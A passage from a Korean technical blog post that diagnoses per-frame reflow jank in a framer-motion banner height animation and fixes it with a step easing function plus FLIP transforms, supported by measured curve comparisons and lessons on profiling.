같은 식을 거꾸로 대입하면 개발하는 동안 PC에서 아무 문제가 없던 이유도 설명된다. 끊김은 프레임당 비용이 프레임 예산을 넘을 때 생기는데, PC는 이 부등식의 양쪽이 모두 유리하다. 예산은 60Hz 기준 16.7ms로 120Hz 폰의 두 배이고, 비용은 DPR이 낮아 다시 그릴 픽셀이 절반 이하인 데다 데스크톱 CPU가 열 제약 없이 몇 배 빠르며, 배너가 뜨는 순간의 메인 스레드 경쟁도 절대 성능으로 흡수된다. 실제로 이 데모 머신은 CPU를 4배 느리게 걸고도 프레임당 3~5ms에 그쳤다. 브라우저가 잘못된 구조를 하드웨어 힘으로 덮어 주고 있는 셈이고, 그 덮개가 폰에서 벗겨지는 것뿐이다.

이 비대칭이 이런 문제의 고약한 점이라고 생각한다. 개발자가 보는 환경에서는 구조적 결함이 증상을 만들지 않으므로, 매 프레임 리플로우는 코드 리뷰도 QA도 통과하고 사용자 폰에서만 나타난다. 다만 증상은 환경을 타도 구조는 어디서 보든 트레이스에 찍힌다. 뒤에서 이 기법을 꺼내는 기준을 "체감"이 아니라 "프로파일러에 매 프레임 Layout이 찍히는가"로 잡는 이유가 이것이다.

## 삽질 1: "컨테이너가 아래를 민다"

재구현의 첫 버전은 CSS transition과 FLIP으로 만들었다. FLIP(First-Last-Invert-Play)은 레이아웃 변화를 한 번에 확정한 뒤, 변한 거리만큼 `transform`으로 되돌렸다가 0으로 애니메이션해서 "레이아웃이 부드럽게 변한 것처럼" 보이게 하는 기법이다. 레이아웃은 한 번만 계산되고, 움직임은 컴포지터가 그린다.

그런데 이 재구현을 원본과 겹쳐 보면 미묘하게 달랐다. 아래 콘텐츠가 밀리기 시작하는 시점이 어긋났고, 곡선의 가속 프로파일도 달랐다. 원인을 찾으려면 원본이 실제로 무엇을 하는지부터 다시 봐야 했다.

원본의 구조는 컨테이너와 카드 래퍼의 2중이다. 컨테이너는 `initial={{height: 0}} animate={{height: 'auto'}}`로 자리를 만들고, 그 안의 카드 래퍼가 위의 variants로 등장한다. 코드만 읽으면 자연스러운 가설이 나온다. 컨테이너의 `height: 0 → auto`가 아래 콘텐츠를 밀고, 카드 래퍼는 그 안에서 떠오른다는 그림이다. 재구현도 이 가설 위에서 "컨테이너의 곡선"을 옮겼다.

실측 결과는 달랐다. 등장하는 동안 컨테이너와 카드 래퍼의 인라인 스타일을 프레임마다 찍어 보면 이렇게 나온다 (t는 카드 마운트 기준 ms).

| t   | 컨테이너 인라인 height | 카드 래퍼 인라인 height | 아래 콘텐츠 top |
| --- | ---------------------- | ----------------------- | --------------- |
| 0   | `auto`                 | `0px`                   | 148 (+8 점프)   |
| 167 | `auto`                 | `5.96px`                | 154             |
| 234 | `auto`                 | `64.6px`                | 213             |
| 434 | `auto`                 | `157.6px`               | 306             |
| 451 | `auto`                 | `auto`                  | 314 (+8 점프)   |

컨테이너의 인라인 `height`는 처음부터 끝까지 `auto`다. 애니메이션이 없다. framer-motion은 `height: 'auto'`라는 목표를 애니메이션 시작 시점에 측정해서 px로 바꾸는데(motion-dom `DOMKeyframesResolver`의 `measureEndState`), 그 측정 시점에 자식 카드 래퍼의 인라인 `height`가 0이다. 그래서 'auto'의 측정값도 0이고, 0에서 0으로 가는 애니메이션은 즉시 끝난 뒤 인라인 `height: auto`로 복원된다. 이후 컨테이너는 자식을 따라갈 뿐이다.

즉 **아래 콘텐츠를 실제로 미는 것은 카드 래퍼의 `height` 트윈 하나**였다. 컨테이너 몫이라고 생각했던 곡선과 시작 시점(delay 없음)은 애초에 존재하지 않았고, 실제 밀림은 카드 래퍼의 delay 0.1초를 따라 0.1초 늦게 시작한다. 재구현이 0.1초 일찍 밀기 시작한 이유가 이것이었다.

표에 있는 ±8px 점프도 처음 보는 사실이었다. 카드의 `margin: 8px`가 래퍼의 `height: 0`을 뚫고 나와 마진 컬랩스되다가, 마운트 순간과 트윈 종료(`auto` 복원) 순간에 애니메이션 없이 8px씩 점프한다. 원본의 일부이므로, "완전히 동일"을 목표로 한다면 이것까지 같은 자리에서 점프해야 한다.

## 삽질 2: "지정한 ease가 적용된다"

첫 가설을 고치고 다시 겹쳐 봐도 곡선이 미세하게 달랐다. variants에는 분명히 `ease: [0.65, 0, 0.35, 1]`이라는 대칭 S곡선이 지정되어 있는데, 실측된 원본의 밀림 곡선은 앞쪽으로 치우친 비대칭이었다. 50% 지점을 통과하는 시각이 구간의 절반보다 한참 앞이었다.

답은 motion-dom의 [`animateMotionValue`](https://github.com/motiondivision/motion/blob/v12.42.2/packages/motion-dom/src/animation/interfaces/motion-value.ts#L31-L36)에 있었다. per-value transition을 해석하는 부분을 그대로 옮긴다.

```js
const valueTransition = getValueTransition(transition, name) || {}
/**
 * Most transition values are currently completely overwritten by value-specific
 * transitions. In the future it'd be nicer to blend these transitions. But for now
 * delay actually does inherit from the root transition if not value-specific.
 */
const delay = valueTransition.delay || transition.delay || 0
```

주석에 그대로 적혀 있다. 값별 transition은 바깥 transition을 **통째로 대체**하고, 상속되는 것은 `delay`뿐이다. 그러면 `height: { delay: 0.1 }`처럼 delay만 적은 경우 `ease`는 어디서 올까. 이어지는 코드가 결정한다.

```js
if (!isTransitionDefined(valueTransition)) {
  Object.assign(options, getDefaultTransition(name, options))
}
```

`isTransitionDefined`는 `delay`, `repeat` 같은 오케스트레이션 키를 제외하고 남는 설정이 있는지를 본다. `{ delay: 0.1 }`은 delay뿐이므로 "transition이 정의되지 않은" 것으로 취급되고, 라이브러리 기본값이 들어간다. 비-transform 값의 [기본값](https://github.com/motiondivision/motion/blob/v12.42.2/packages/motion-dom/src/animation/utils/default-transitions.ts#L29-L33)은 이것이다.

```js
const ease = {
  type: 'keyframes',
  ease: [0.25, 0.1, 0.35, 1],
  duration: 0.3,
}
```

실측된 비대칭 곡선과 정확히 일치하는 값이다. 정리하면, 원본이 선언한 타임라인과 실제로 실행되는 타임라인은 이만큼 다르다.

| 값             | 구간     | delay | 실제 easing                     |
| -------------- | -------- | ----- | ------------------------------- |
| 등장 `height`  | 0 → H    | 0.1s  | `[0.25, 0.1, 0.35, 1]` (기본값) |
| 등장 `opacity` | 0 → 1    | 0.3s  | `[0.25, 0.1, 0.35, 1]` (기본값) |
| 등장 `scale`   | 0.96 → 1 | 0.3s  | `[0.47, 0, 0.23, 1.38]`         |
| 퇴장 `opacity` | 1 → 0    | 없음  | `[0.65, 0, 0.35, 1]`            |
| 퇴장 `scale`   | 1 → 0.96 | 없음  | `[0.47, 0, 0.23, 1.38]`         |
| 퇴장 `height`  | H → 0    | 0.1s  | `[0.25, 0.1, 0.35, 1]` (기본값) |

지정한 `[0.65, 0, 0.35, 1]`이 실제로 적용되는 곳은 퇴장의 `opacity` 하나뿐이다. 퇴장 variants에만 opacity의 per-value 항목이 없어서, 유일하게 바깥 transition을 그대로 타기 때문이다.

## 이징 함수 하나로 리플로우를 계단으로

두 번의 삽질이 끝나고 나니 문제가 명확해졌다. 카드 래퍼의 `height` 트윈이 화면에 만드는 효과는 "아래 콘텐츠의 밀림" 하나뿐이다. 카드 자체는 `overflow`가 `visible`이라 래퍼 높이와 무관하게 통째로 보이고, 래퍼의 중간 높이값들은 매 프레임 리플로우만 만들 뿐 아무것도 그리지 않는다. 그렇다면 중간값을 버려도 된다.

그래서 variants는 원본 그대로 두고, `height`의 이징에만 계단 함수를 끼웠다.

```tsx
/** 시작하자마자 끝값. 트윈의 delay와 종료 시점은 살리고 중간값만 없앤다. */
const stepToEnd = (progress: number) => (progress <= 0 ? 0 : 1)

// 원본:   height: { delay: 0.1 }
// 최종:   height: { delay: 0.1, ease: stepToEnd }
```

이 한 줄로 `height`는 원본 트윈의 타임라인(0.1초 시작, 0.4초 종료)을 유지한 채 양 끝값만 밟는다. 등장이라면 0.1초에 0에서 H(px)로 한 번, 0.4초에 framer-motion이 `auto`를 복원하며 한 번. 매 프레임의 리플로우가 두세 번의 불연속 리플로우로 준다. 계단 사이에서 트윈이 같은 값을 다시 쓰는 프레임은 computed style이 변하지 않아 레이아웃을 만들지 않는다는 것도 트레이스로 확인했다.

없어진 연속 움직임은 FLIP이 대신한다. `ResizeObserver`가 계단을 받아서, 아래 콘텐츠를 변한 거리만큼 `transform`으로 되돌린 뒤 원본 트윈과 같은 300ms, 같은 `[0.25, 0.1, 0.35, 1]`로 0에 보낸다.

```ts
const observer = new ResizeObserver(() => {
  const sizeDelta = source.offsetHeight - prevHeight
  const positionDelta = readLayoutTop(target) - prevTop
  prevHeight += sizeDelta
  prevTop += positionDelta

  // 마진 컬랩스로 생기는 이벤트를 거른다: 부호가 다르거나 한쪽이 0이면 점프가 옳다
  if (sizeDelta * positionDelta <= 0) return

  const delta =
    Math.sign(sizeDelta) *
    Math.min(Math.abs(sizeDelta), Math.abs(positionDelta))
  invertAndPlay(target, delta) // transition: none → invert → 강제 flush → 같은 프레임에 play
})
```

delay가 어디에도 없다는 점이 이 구조의 좋은 성질이다. 계단이 밟히는 순간이 곧 원본 트윈의 delay가 끝난 순간이므로, `ResizeObserver`가 발화하는 시점 자체가 타이밍이다. 애니메이션할 거리를 `offsetHeight` 변화량과 실제 레이아웃 변위 중 "같은 부호의 최솟값"으로 잡는 부분은 앞서 본 ±8px 마진 점프를 위한 것이다. 이 규칙 덕분에 원본이 점프하는 지점은 점프로 남고, 원본이 미는 거리만 애니메이션된다.

검증은 눈이 아니라 곡선으로 했다. 아래 콘텐츠의 `getBoundingClientRect().top`을 매 프레임 기록해 두 구현을 겹쳐 그리고, 밀림 거리의 10%, 50%, 90%를 통과하는 시각으로 형태를 비교했다 (Chromium, 스로틀 없음).

| 구간 | 원본 p10→p90 폭 | 계단 + FLIP p10→p90 폭 | p50 차이 |
| ---- | --------------- | ---------------------- | -------- |
| 등장 | 197ms           | 198ms                  | +13ms    |
| 교체 | 165ms           | 156ms                  | +21ms    |
| 퇴장 | 198ms           | 197ms                  | +9ms     |

곡선의 폭, 즉 가속 프로파일은 1~2프레임 노이즈 안에서 같고, 남는 것은 시작 시점의 반 프레임에서 한 프레임 수준 오프셋뿐이다. 마진 점프의 위치와 교체 시 들어오는 카드가 미끄러져 올라오는 곡선까지 확인했고, Playwright의 WebKit과 Firefox에서도 곡선 폭이 일치했다. WebKit의 퇴장 곡선은 p50 차이가 1ms까지 붙었다.

## 네 가지 구현을 나란히 놓기

이 과정을 거치며 같은 모션의 구현이 네 가지 쌓였다. 문제의 원형, 삽질의 기록, 그리고 최종 해법의 두 형태다.

| 구현             | 구동                      | height            | 아래 콘텐츠 밀림                             |
| ---------------- | ------------------------- | ----------------- | -------------------------------------------- |
| **원본**         | framer-motion             | 매 프레임 px 트윈 | height 리플로우의 부수 효과                  |
| **재구현 (1차)** | CSS transition            | 즉시 확정         | FLIP, 그러나 100ms 이르고 곡선 해석이 어긋남 |
| **개선**         | framer-motion + 계단 이징 | 0.1s에 한 계단    | FLIP, 원본 트윈과 같은 곡선                  |
| **CSS 완성형**   | CSS transition만          | 0.1s에 한 계단    | FLIP, 동일                                   |

개선과 CSS 완성형은 보이는 결과가 같고 구동만 다르다. 개선은 framer-motion을 유지한 채 이징 함수 하나를 주입한 것이라 기존 코드베이스에 diff 한 줄로 후장착할 수 있고, CSS 완성형은 framer-motion 의존을 아예 걷어낸 것이다. CSS 완성형에서는 재생이 전부 CSS transition이고 JS에는 측정과 오케스트레이션만 남는데, 그 오케스트레이션 코드가 곧 framer가 흡수해 주던 일의 목록이기도 하다. 이 이야기는 뒤에서 다시 나온다.

아래 데모에서 네 방식을 직접 재생하고 곡선을 겹쳐 볼 수 있다. 데모의 레이블은 표와 이렇게 대응한다: 재구현1이 1차 재구현, 재구현2가 계단 이징(우리가 지향한 완성본), CSS only가 CSS 완성형이다. 버튼을 누를 때마다 아래 목록의 이동 곡선이 색깔별로 겹쳐 그려진다. 원본(빨강)과 재구현2(초록), CSS only(주황)는 포개지고, 재구현1(파랑)만 100ms가량 왼쪽으로 벗어나는 것이 삽질 1의 흔적이다. 원본 버튼은 framer-motion의 메커니즘(rAF로 매 프레임 height 쓰기)을 그대로 재현한 것이고, 실제 framer-motion으로 구동되는 원본과의 비교는 [실험장 저장소](https://github.com/yceffort/banner-motion-lab)에서 할 수 있다.

<LiveDemo src="/demos/2026/08/banner-motion.html" title="배너 모션 4종 비교: 곡선은 겹치고 리플로우 횟수만 다르다" height={680} />

미리 단서를 붙여 두면, 일반적인 PC에서는 원본조차 드랍 0으로 매끈하게 나올 것이다. 이 데모의 목록은 실제 서비스 홈을 흉내 낸 2000행짜리인데, 데스크톱 CPU에서는 그 리플로우와 페인트도 프레임당 수 ms 수준이라 매 프레임 다시 해도 16.7ms 예산 안에 넉넉히 들어가기 때문이다. 반면 폰이나 DevTools CPU 스로틀(4~6x)에서는 원본만 애니메이션 내내 끊기는 것을 볼 수 있다. 원본 방식과 계단 방식의 차이는 "지금 끊기느냐"가 아니라 **프레임당 비용이 문서 크기에 비례하느냐 상수냐**라는 구조에 있고, 그 구조 차이는 비용이 예산을 넘는 환경(무거운 문서, 바쁜 메인 스레드, 120Hz면 반토막 나는 예산)에서만 드랍으로 나타난다.

데모의 "부하" 옵션은 그 환경을 눈으로 흉내 내는 장치다. 매 프레임 메인 스레드를 태우므로 공은 어느 모드든 덜컹이지만, 계단 방식의 목록은 컴포지터에서 돌기 때문에 그대로 미끄러지고 원본의 목록만 공과 함께 끊긴다. 다만 드랍 "수치"의 차이까지 인위적 부하로 만들려는 시도는 하지 않았다. 실제로 해 봤는데, 상수 비용을 더하는 방식은 16.7ms 예산 경계에 걸려 머신 상태에 따라 같은 설정이 드랍 0이 되기도 8이 되기도 했다. 수치 재현은 DevTools의 CPU 스로틀(4~6x)이 맞는 도구다. 스로틀은 느린 기기가 실제로 겪는 일, 즉 리플로우와 페인트 비용 자체가 몇 배가 되는 상황을 그대로 만들기 때문이다.

부하 없음에서는 계단 방식이 오히려 1~2 드랍으로 나올 수 있다는 것도 적어 둔다. 원본의 비용은 매 프레임에 얇게 퍼지고, 계단 방식의 비용은 계단 순간의 레이아웃 커밋 1회에 몰리기 때문이다(밀림에 쓸 목록 레이어는 실제 구현처럼 재생 직전에 `will-change`로 미리 승격해 둔다. 이 승격까지 계단 프레임에 몰리면 기법 자체의 비용이 아닌 것이 섞인다). 빠른 기기에서 한 번 재생하는 조건이라면 원본이 이기기도 한다는 뜻이고, 이 우열이 뒤집히는 조건(무거운 문서, 빠듯한 예산)이 곧 이 기법을 꺼낼 조건이다. 부하와 무관하게 곡선 차트는 항상 유효하다. 재구현1의 곡선이 왼쪽으로 벗어나고 나머지 셋이 겹치는 것은 성능이 아니라 모션이 같은가의 문제라서, 기기 성능과 무관하게 그대로 보인다.

사건의 기록은 여기까지다. 이제부터는 이 과정에서 배운 것들을 하나씩 자세히 풀어 본다.

## 선언된 코드와 실행되는 값은 다르다

이번 작업에서 가장 오래 남을 배움을 하나만 고르라면 이것이다. 가설이 두 번 무너졌는데, 두 번 모두 "코드에 그렇게 적혀 있으니 그렇게 동작할 것"이라는 믿음이 무너진 것이었다.

`ease: [0.65, 0, 0.35, 1]`은 variants에 분명히 적혀 있었다. 코드 리뷰를 백 번 해도 이 값이 적용되지 않는다는 사실은 보이지 않는다. 리뷰어가 볼 수 있는 것은 선언이고, 선언과 실행 사이에는 라이브러리의 해석 규칙이 끼어 있기 때문이다. framer-motion의 per-value transition 대체 규칙은 공식 문서에 크게 강조되어 있지 않고, 소스 주석에 "In the future it'd be nicer to blend these transitions"라고 적혀 있을 만큼 라이브러리 스스로도 아쉬워하는 동작이다. 원본을 만든 사람도 아마 모든 값이 지정한 곡선으로 움직인다고 생각하며 썼을 것이다. 즉 **원본조차 의도대로 동작하고 있지 않았고**, "원본과 동일하게"라는 목표는 의도가 아니라 실행 결과를 기준으로 삼아야 했다.

여기서 방법론 하나가 나온다. 처음에 나는 "라이브러리 소스에서 확인했다"는 수준의 검증을 했었는데, 그것으로 부족했다. 소스의 한 부분을 읽고 세운 모델은 그 부분이 실제 실행 경로에 있는지 보장하지 못한다. 실제로 컨테이너의 기본 transition 값을 소스에서 찾아 "이 곡선이 적용된다"고 확신했지만, 그 코드는 맞았고 적용 대상이 틀렸다. 컨테이너의 애니메이션 자체가 no-op이었기 때문이다.

순서를 뒤집으니 풀렸다. **실측을 먼저 하고, 실측이 가리키는 지점의 소스를 읽는다.** 이번에 쓴 실측은 거창한 것이 아니고, 애니메이션이 도는 동안 관련 요소들의 인라인 스타일과 위치를 rAF로 매 프레임 기록하는 20줄짜리 스크립트였다. 이 덤프에서 "컨테이너 인라인 height가 전 구간 auto"라는 사실이 나왔고, 그제서야 'auto' 측정 시점이라는 올바른 질문이 생겨서 `DOMKeyframesResolver`를 읽게 됐다. 비대칭 곡선이 실측에서 나왔고, 그제서야 `animateMotionValue`의 transition 해석부를 읽게 됐다. 소스 딥다이브는 실측이 질문을 만들어 준 뒤에야 유효했다.

추상화를 쓰지 말자는 이야기가 아니다. 추상화의 비용이 "복잡한 것을 짧게" 만드는 대신 "실행 모델을 불투명하게" 만드는 쪽으로 청구된다는 이야기고, 그 청구서는 성능이나 정밀 재현처럼 실행 모델을 정확히 알아야 하는 작업에서 날아온다. 그리고 그 값은 코드 리뷰가 아니라 프레임 단위 실측으로 치르게 된다.

## 성능을 결정하는 것은 문법이 아니라 속성이다

이 문제를 처음 만났을 때 가장 먼저 드는 유혹은 라이브러리 교체다. framer-motion이 느리니 가벼운 라이브러리로, 혹은 순수 CSS로 가면 되지 않을까 하는 방향이다. 이번 작업은 그 방향이 원인을 비켜 간다는 것을 여러 각도에서 확인해 줬다.

`height`가 WAAPI 가속 목록에 없다는 것은 원인이 아니라 결과다. 컴포지터는 레이아웃을 계산할 수 없으므로, 레이아웃 속성은 어떤 엔진에 올려도 매 프레임 메인 스레드의 리플로우로 돌아온다. rAF 루프로 돌리든(framer-motion), WAAPI로 돌리든, CSS transition으로 돌리든 같다. 심지어 최신 CSS의 `interpolate-size: allow-keywords`로 `height: auto`를 순수 CSS 문법으로 애니메이션해도, 문법만 선언적이 될 뿐 비용은 원본과 동일한 매 프레임 리플로우다. **문법이 어디에 있느냐가 아니라 어떤 속성이 변하느냐가 비용을 결정한다.**

비용 모델을 식으로 적어 두면 판단이 빨라진다. 레이아웃 속성 애니메이션의 총비용은 대략 "문서 크기에 비례하는 리플로우 비용 × 프레임 수"다. 이 식에서 두 가지가 따라 나온다. 하나는 착시의 정체다. 배너 컴포넌트만 떼어 보면 가벼워 보이는 이유는 비용의 대부분이 배너가 아니라 그 아래 문서에서 나오기 때문이고, 그래서 이런 문제는 개발 환경의 가벼운 페이지에서 재현되지 않다가 실제 서비스 홈에서 터진다. 다른 하나는 최적화의 방향이다. 식의 두 인자 중 문서 크기를 줄이는 쪽(`contain`, `content-visibility`)과 프레임 수를 줄이는 쪽(이 글의 계단화)이 있고, 라이브러리 교체는 어느 인자도 건드리지 못한다.

거꾸로 말하면, 이 원칙 덕분에 framer-motion을 유지한 채 문제를 풀 수 있었다. 고칠 것은 라이브러리가 아니라 "무엇을 애니메이션하는가"였고, 그것은 이징 함수 하나로 바꿀 수 있는 것이었다.

## 값을 복사하지 말고 메커니즘을 보존한다

첫 재구현과 최종 구현은 접근 방식이 근본적으로 달랐고, 결과의 차이가 그 접근의 차이를 그대로 반영했다.

첫 재구현은 원본의 **값들을 복사**했다. duration, delay, easing을 원본에서 읽어 CSS로 옮겨 적는 방식이다. 문제는 읽는 과정에 해석이 끼고, 해석이 틀리면 틀린 값이 조용히 박제된다는 점이다. 실제로 다섯 군데가 어긋나 있었다. 밀림이 0.1초 일찍 출발했고(삽질 1), 퇴장 곡선이 달랐고(삽질 2), 마진 점프가 +8/+8 두 번 대신 +16 한 번에 몰렸고, 카드 교체 시 두 transition이 엇갈려 겹치면서 합성 곡선이 달랐고, `offsetHeight` 변화량을 실제 변위로 취급하다가 마진이 박스 안팎으로 이동하는 이벤트에서 ±8px를 잘못 애니메이션했다.

최종 구현은 값을 거의 복사하지 않았다. 대신 원본의 **구조를 유지한 채 중간값만 제거**했다. variants도, `AnimatePresence`도, 트윈의 타임라인도 원본 그대로이고, 달라진 것은 `height`가 곡선의 중간을 밟지 않는다는 것뿐이다. 이 접근의 힘은 **재현하려고 하지 않은 것들이 저절로 맞아떨어진다**는 데서 드러났다.

- ±8px 마진 점프의 위치가 자동으로 맞았다. 래퍼가 원본과 같은 height 상태(0 → px → auto)를 같은 시점에 거치므로, 마진 컬랩스도 같은 지점에서 같은 방식으로 일어난다.
- `LazyMotion`의 chunk 로딩 타이밍 문제가 구조적으로 사라졌다. 첫 재구현은 밀림(ResizeObserver, 즉시 시작)과 카드 모션(framer, chunk 도착 후 시작)의 구동원이 달라 어긋날 수 있었는데, 최종 구현은 밀림의 트리거가 카드 모션의 height 계단 그 자체라서 둘이 어긋날 방법이 없다.
- 애니메이션 중간에 끊고 닫는 인터럽션도 맞았다. 원본의 퇴장 트윈과 FLIP의 transition이 같은 delay, 같은 duration, 같은 곡선을 타므로, 어느 시점에 끊어도 두 구현이 같은 지점에서 이어 간다.

일반화하면 이렇게 정리할 수 있을 것 같다. 어떤 시스템을 "동일하게" 재현해야 할 때, 관찰된 출력(값)을 복사하는 접근은 관찰이 완벽해야만 성립한다. 출력을 만들어 내는 메커니즘을 보존하고 비용이 드는 부분만 대체하는 접근은, 관찰하지 못한 성질까지 메커니즘이 대신 보증해 준다. 재현 대상이 이번처럼 "만든 사람의 의도와도 다른" 시스템이라면 관찰이 완벽하기는 더욱 어려우므로, 후자의 가치가 더 커진다.

## 계측기부터 의심한다

이번 작업에서 "구현이 이상하다"고 보였던 순간의 절반은 실제로는 계측이 이상한 것이었다. 세 번 있었고, 세 번 모두 원인이 달랐다.

첫 번째는 실행 순서였다. 곡선을 기록하는 rAF 샘플러가 어느 순간 계단 방식의 곡선에서 거대한 점프를 찍었다. 실물을 보면 부드러운데 데이터만 점프였다. 원인은 브라우저의 프레임 파이프라인 안에 있었다. rAF 콜백은 같은 프레임의 `ResizeObserver` 콜백보다 먼저 실행되므로, CSS transition이 height 계단을 밟는 프레임에서는 rAF 시점에 레이아웃은 이미 이동했고 FLIP invert는 아직 적용 전이다. 샘플러는 **화면에 페인트된 적이 없는 중간 상태**를 한 프레임 잡은 것이다. 흥미롭게도 framer-motion이 height를 쓰는 원본에서는 이 현상이 없는데, framer의 쓰기는 rAF 콜백 안에서 일어나서 샘플러보다 뒤 순서이기 때문이다. 같은 계측 코드가 구현 방식에 따라 거짓말을 하기도 안 하기도 한다는 뜻이다. 고립된 한 프레임 스파이크는 median-of-3(연속 세 샘플의 중앙값)으로 걷어냈다.

두 번째는 측정 준비 단계의 오염이었다. 비교 측정을 위해 재생 전에 이전 배너를 정리(reset)하는데, 이 정리가 exit 애니메이션 없이 즉시 언마운트를 일으키자 FLIP 훅이 그 레이아웃 델타를 받아 300ms 슬라이드를 시작했고, 그 슬라이드가 끝나기 전에 다음 측정이 시작되면서 곡선이 겹쳤다. 측정 대상 행동이 아니라 측정 준비 행동이 데이터에 들어간 경우다. 정리 후 안정될 때까지 기다리는 시간을 넣어 해결했다.

세 번째는 가장 시시한 원인이었는데, 이전 실험에서 켜 둔 CPU 4x 스로틀이 꺼지지 않은 채 곡선 타이밍을 재고 있었다. 마운트 커밋이 200ms씩 걸리며 모든 시작 시점이 밀렸고, 두 구현이 다른 정도로 밀리면서 실제로 없는 차이가 있는 것처럼 보였다.

이 세 경험을 한 문장으로 줄이면, **이상한 결과가 나오면 측정 대상보다 측정 도구를 먼저 의심하는 순서가 시간을 아낀다**가 된다. 특히 첫 번째 사례는 rAF, `ResizeObserver`, 스타일 적용, 페인트 사이의 순서라는, 계측 코드를 짜면서 평소에 의식하지 않는 지점에서 왔다. 프레임 단위 계측을 만든다면 자기 샘플러가 파이프라인의 어느 지점을 읽는지 한 번은 따져 볼 필요가 있다.

## "동일함"의 증명 기준을 먼저 세운다

"보이는 모션은 완전히 같게"라는 목표에는 함정이 있다. 판정을 눈에 맡기면 아무것도 증명되지 않는다는 점이다. 첫 재구현은 혼자 보면 그럴듯했다. 다섯 군데가 어긋나 있었는데도 그랬다. 사람 눈은 곡선이 통째로 수십 ms 밀리는 것에는 둔하지만, 그렇다고 "달라도 모른다"고 결론 내리면 곤란하다. 가속 프로파일(easing)의 차이는 위화감으로 감지되기 때문이다. 즉 눈은 어떤 차이는 놓치고 어떤 차이는 잡는, 기준이 불명확한 계측기다.

그래서 "같다"의 판정 지표를 명시적으로 정했다. 아래 콘텐츠의 위치를 프레임마다 기록하고, 이동 거리를 0에서 1로 정규화한 뒤, 10%, 25%, 50%, 75%, 90%를 통과하는 시각을 뽑는다. 이러면 곡선 하나가 숫자 다섯 개로 요약되고, 두 구현의 차이가 두 성분으로 분해된다. 가속 프로파일의 차이는 **곡선의 폭** 으로 나타나고, 시작 시점의 차이는 **곡선 전체의 평행이동** 으로 나타난다. 이 분해가 유용했던 이유는 두 성분의 의미가 다르기 때문이다. 곡선 폭의 차이는 구현이 틀렸다는 신호였고, 시작 오프셋은 framer의 시작 스케줄링 지연 같은 원본 자체의 변동 요인이었다. 실제로 크로스 브라우저 측정에서 곡선 폭은 세 엔진 모두 일치했고, 오프셋만 엔진별로 달랐다(WebKit은 1\~4ms, Firefox는 40\~50ms 수준).

이 지표가 있고 나서야 "동일하다"가 주장에서 명제로 바뀌었다. 첫 재구현은 이 지표에서 즉시 탈락했고(시작이 약 250ms 빠르고 곡선 폭이 달랐다), 최종 구현은 통과했다. 같은 지표를 그대로 들고 WebKit과 Firefox로 가져가서 브라우저 의존성이 없다는 것도 확인할 수 있었다. 비슷한 작업을 한다면 구현보다 지표를 먼저 세우는 편이 좋다고 생각한다. 지표가 없으면 "다 된 것 같다"에서 멈추게 되고, 그 상태의 절반쯤은 이번 첫 재구현 같은 상태일 것이다.

## 일반화: 레이아웃 애니메이션의 계단화

이 작업을 배너에서 떼어내면 재사용 가능한 패턴 하나가 남는다. 이름을 붙이자면 "레이아웃 애니메이션의 계단화(quantization)"쯤 될 것이다.

> 한 문장으로: 레이아웃 속성은 곡선의 끝값만 불연속으로 밟게 하고, 눈에 보이는 연속 움직임은 그 차분을 `transform`으로 보간한다.

레시피는 네 단계다.

1. **분해**: 이 애니메이션에서 눈에 보이는 것과 보이지 않는 레이아웃 계산을 가른다. 배너에서는 아래 콘텐츠의 밀림만 보이는 것이었고, 래퍼의 중간 높이값들은 보이지 않는 계산이었다.
2. **계단화**: 레이아웃 커밋을 곡선의 끝점으로 몰아 리플로우를 프레임 수에 비례하는 비용에서 상수 비용으로 줄인다. 기존 라이브러리를 쓰고 있다면 이번처럼 이징 함수 주입으로 후장착할 수 있고, 애니메이션 정의를 다시 쓸 필요가 없다.
3. **보간**: 연속 움직임은 FLIP이 같은 duration, 같은 곡선으로 대체한다.
4. **검증**: 위치 트레이스를 겹쳐 원래 모션과 같은지를 곡선으로 확인한다.

적용 조건은 명확한 편이다. 이 기법은 레이아웃 변화가 눈에 만드는 효과가 **요소들이 통째로 밀려나는 것**일 때 성립한다. 아코디언, 배너, 리스트 삽입과 삭제, 높이가 변하는 토스트처럼 아래 것들이 밀려나는 패턴이 해당한다. 반대로 성립하지 않는 경우가 둘 있다. `overflow: hidden`으로 콘텐츠가 잘리며 드러나는 모습 자체가 연출이라면 `clip-path`(이것도 컴포지터 속성이다) 쪽으로 가야 하고, 폭이 줄며 텍스트 줄바꿈이 매 프레임 변하는 것처럼 리플로우 자체가 연출이라면 가짜로 만들 방법이 없다.

남는 비용도 그대로 적어 둔다. 계단이 밟히는 순간의 리플로우 1회는 여전히 문서 크기에 비례한다. 다만 원본은 같은 비용을 애니메이션 내내 매 프레임 낸다. `transform`이 걸려 있는 동안 아래 콘텐츠에 containing block이 생겨 하위 `position: fixed`의 기준이 바뀌므로 끝나면 걷어내야 하고, 아래 콘텐츠에 transform을 거는 통합 지점이 컴포넌트 밖에 필요해진다. 원본은 이것을 `height` 리플로우의 부수 효과로 공짜로 얻었는데, 그 부수 효과가 바로 비용의 정체였으므로 공짜였던 것이 명시적이 되는 셈이다.

마지막으로, 이 패턴을 언제 꺼내 쓸지다. "모든 height 애니메이션에 기본 적용"하는 규칙으로 만들면 그 순간 과잉 설계가 된다. 가벼운 페이지에서는 원본도 60Hz를 지키고, 실제로 이 실험장에서조차 M 계열 머신은 4x 스로틀에도 애니메이션 도중 드랍이 없었다. 프로파일러에 매 프레임 Layout이 찍히고, 문서가 무겁고, 프레임 예산이 빠듯한(120Hz 모바일이면 8.3ms다), 세 조건이 겹치는 지점이 올바른 트리거라고 생각한다. 마지막 조건 때문에 "저사양에서만의 문제"라고 좁혀 읽으면 안 된다. 실제로 이 배너는 최신 플래그십에서 끊겼다.

## 네이티브 앱이라면 어땠을까

이쯤에서 자연스러운 질문 하나를 짚고 간다. 같은 배너를 네이티브 앱으로 만들었어도 끊겼을까. 답은 "함정은 같지만, 밟기 어렵게 만들어져 있다"에 가깝다.

레이아웃을 결정하는 값을 매 프레임 바꾸면 매 프레임 레이아웃이 돈다는 원리는 UI 시스템 공통이다. Android에서 `ValueAnimator`로 매 프레임 `LayoutParams`의 높이를 바꾸고 `requestLayout()`을 부르는 코드는 웹의 height 애니메이션과 같은 구조이고, 실제로 안티패턴으로 통한다. 다른 것은 플랫폼의 기본값이다.

